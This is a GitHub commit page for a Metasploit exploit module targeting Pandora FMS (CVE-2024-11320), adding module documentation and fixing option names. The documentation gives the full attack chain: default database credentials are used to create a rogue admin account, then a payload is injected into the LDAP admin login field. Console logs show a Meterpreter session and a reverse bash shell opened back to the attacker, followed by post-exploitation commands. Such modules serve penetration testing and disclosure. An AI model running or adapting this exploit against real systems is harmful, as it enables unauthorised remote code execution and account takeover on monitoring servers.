Skip to content

Commit 7c8116a

Browse files
h00die-gr3yh00die-gr3y
committed
Third release of module + Documentation
1 parent cf5b26d commit 7c8116a

File tree

2 files changed

+213
-3
lines changed

2 files changed

+213
-3
lines changed

‎documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md‎

Lines changed: 210 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,210 @@
1+
## Vulnerable Application
2+
Pandora FMS is a monitoring solution that provides full observability for your organization's technology.
3+
This module exploits an command injection vulnerability in the LDAP authentication mechanism of Pandora FMS.
4+
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
5+
This access can be achieved leveraging a default password vulnerability in Pandora FMS that allows an attacker
6+
to access the Pandora FMS MySQL database, create a new admin user and gain administrative access to the
7+
Pandora FMS Web application.
8+
This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world.
9+
This issue affects Community, Free and Enterprise editions: from `v7.0NG.718` through <= `v7.0NG.777.4`
10+
11+
The following releases were tested.
12+
13+
**Pandora FMS Releases:**
14+
* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image)
15+
* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image)
16+
* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04)
17+
* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04)
18+
19+
## Installation steps to install Pandora FMS Community, Free or Enterprise Editions
20+
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
21+
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
22+
* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/).
23+
* Install the iso image in your virtualization engine.
24+
* When installed, configure the VM appliance to your needs using the menu options.
25+
* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22`
26+
* or via the `webui` via `http://your_ip/pandora_console/index.php`.
27+
28+
* Note: from version `v7.0NG.760` follow the installation manual below:
29+
* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing).
30+
31+
You are now ready to test the module.
32+
33+
## Verification Steps
34+
- [ ] Start `msfconsole`
35+
- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_11320`
36+
- [ ] `set rhosts <ip-target>`
37+
- [ ] `set rport <port>`
38+
- [ ] `set lhost <attacker-ip>`
39+
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
40+
- [ ] `exploit`
41+
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
42+
43+
## Options
44+
45+
### USERNAME
46+
This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application.
47+
48+
### PASSWORD
49+
This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application.
50+
51+
### DB_USER
52+
This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database.
53+
54+
### DB_PASSWORD
55+
This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database.
56+
Note: In older versions, this password is set to `pandora` during installation of the application.
57+
58+
### DB_PORT
59+
This option is required and is the MySQL database port (default: 3306) to connect to the database.
60+
61+
## Scenarios
62+
```msf
63+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > info
64+
65+
Name: Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password
66+
Module: exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320
67+
Platform: Unix, Linux, PHP
68+
Arch: cmd, php
69+
Privileged: Yes
70+
License: Metasploit Framework License (BSD)
71+
Rank: Excellent
72+
Disclosed: 2024-11-21
73+
74+
Provided by:
75+
h00die-gr3y <[email protected]>
76+
Askar mhaskar
77+
78+
Module side effects:
79+
artifacts-on-disk
80+
ioc-in-logs
81+
82+
Module stability:
83+
crash-safe
84+
85+
Module reliability:
86+
repeatable-session
87+
88+
Available targets:
89+
Id Name
90+
-- ----
91+
=> 0 PHP Command
92+
1 Unix/Linux Command
93+
94+
Check supported:
95+
Yes
96+
97+
Basic options:
98+
Name Current Setting Required Description
99+
---- --------------- -------- -----------
100+
DB_NAME pandora yes Pandora database
101+
DB_PASSWORD Pandor4! yes Pandora database admin password
102+
DB_PORT 3306 yes MySQL database port
103+
DB_USER pandora yes Pandora database admin user
104+
PASSWORD pandora no Pandora web admin password
105+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
106+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin
107+
g-metasploit.html
108+
RPORT 80 yes The target port (TCP)
109+
SSL false no Negotiate SSL/TLS for outgoing connections
110+
TARGETURI /pandora_console yes Path to the Pandora FMS application
111+
USERNAME admin no Pandora web admin user
112+
VHOST no HTTP server virtual host
113+
114+
Payload information:
115+
116+
Description:
117+
Pandora FMS is a monitoring solution that provides full observability for your organization's
118+
technology. This module exploits an command injection vulnerability in the LDAP authentication
119+
mechanism of Pandora FMS.
120+
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
121+
This access can be achieved leveraging a default password vulnerability in Pandora FMS that
122+
allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain
123+
administrative access to the Pandora FMS Web application. This attack can be remotely executed
124+
over the WAN as long as the MySQL services are exposed to the outside world.
125+
This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4
126+
127+
References:
128+
https://nvd.nist.gov/vuln/detail/CVE-2024-11320
129+
https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/
130+
https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320
131+
132+
View the full module info with the info -d command.
133+
```
134+
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - PHP Command target
135+
Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application
136+
to gain the privileges for the RCE.
137+
```msf
138+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password xxx
139+
password => xxx
140+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set rhosts 192.168.201.6
141+
rhosts => 192.168.201.6
142+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
143+
[*] Started reverse TCP handler on 192.168.201.8:4444
144+
[*] Running automatic check ("set AutoCheck false" to disable)
145+
[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
146+
[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application.
147+
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
148+
[*] Creating new admin user with credentials cnrjq:jeQsinXxfe for access at the Pandora FMS Web application.
149+
[*] Trying to log in with new admin credentials cnrjq:jeQsinXxfe at the Pandora FMS Web application.
150+
[*] Succesfully authenticated at the Pandora FMS Web application.
151+
[*] Saving admin credentials at the msf database.
152+
[*] Executing PHP Command for php/meterpreter/reverse_tcp
153+
[*] Sending stage (40004 bytes) to 192.168.201.6
154+
[*] Meterpreter session 28 opened (192.168.201.8:4444 -> 192.168.201.6:59242) at 2024-12-22 10:35:05 +0000
155+
[+] Payload is successful removed from LDAP configuration.
156+
157+
meterpreter > sysinfo
158+
Computer : cuckoo
159+
OS : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
160+
Meterpreter : php/linux
161+
meterpreter > getuid
162+
Server username: www-data
163+
meterpreter > pwd
164+
/var/www/html/pandora_console
165+
meterpreter >
166+
```
167+
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target
168+
Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application
169+
to gain the privileges for the RCE.
170+
```msf
171+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set target 1
172+
target => 1
173+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set payload cmd/unix/reverse_bash
174+
payload => cmd/unix/reverse_bash
175+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password pandora
176+
password => pandora
177+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
178+
[*] Started reverse TCP handler on 192.168.201.8:4444
179+
[*] Running automatic check ("set AutoCheck false" to disable)
180+
[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
181+
[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
182+
[*] Succesfully authenticated at the Pandora FMS Web application.
183+
[*] Saving admin credentials at the msf database.
184+
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
185+
[*] Command shell session 29 opened (192.168.201.8:4444 -> 192.168.201.6:37616) at 2024-12-22 10:57:58 +0000
186+
[+] Payload is successful removed from LDAP configuration.
187+
188+
pwd
189+
/var/www/html/pandora_console
190+
id
191+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
192+
uname -a
193+
Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
194+
```
195+
196+
## Limitations
197+
In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect
198+
to the MySQL database with the default database credentials.
199+
This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`.
200+
You can check this with the SQL command below if you have local access to the database.
201+
```
202+
SELECT host FROM mysql.user WHERE user = "pandora";
203+
+-----------+
204+
| host |
205+
+-----------+
206+
| 127.0.0.1 |
207+
| localhost |
208+
+-----------+
209+
```
210+
In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database.

‎modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb‎

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def initialize(info = {})
8383
OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'Pandor4!']),
8484
OptString.new('DB_NAME', [true, 'Pandora database', 'pandora']),
8585
OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]),
86-
OptString.new('USER', [false, 'Pandora web admin user', 'admin']),
86+
OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']),
8787
OptString.new('PASSWORD', [false, 'Pandora web admin password', 'pandora'])
8888
])
8989
end
@@ -222,7 +222,7 @@ def configure_ldap(payload)
222222
'ldap_base_dn' => 'ou%3DPeople%2Cdc%3Dedu%2Cdc%3Dexample%2Cdc%3Dorg',
223223
'ldap_login_attr' => 'uid',
224224
'ldap_admin_login' => payload,
225-
'ldap_admin_pass' => 'test',
225+
'ldap_admin_pass' => nil,
226226
'ldap_search_timeout' => 0,
227227
'secondary_ldap_enabled_sent' => 1,
228228
'ldap_server_secondary' => 'localhost',
@@ -317,7 +317,7 @@ def check
317317
def exploit
318318
@check_running = false
319319
# check if we can login at the Pandora Web application with the default admin credentials
320-
@username = datastore['USER']
320+
@username = datastore['USERNAME']
321321
@password = datastore['PASSWORD']
322322
print_status("Trying to log in with admin credentials #{@username}:#{@password} at the Pandora FMS Web application.")
323323
unless pandora_login(@username, @password)

0 commit comments

Comments
 (0)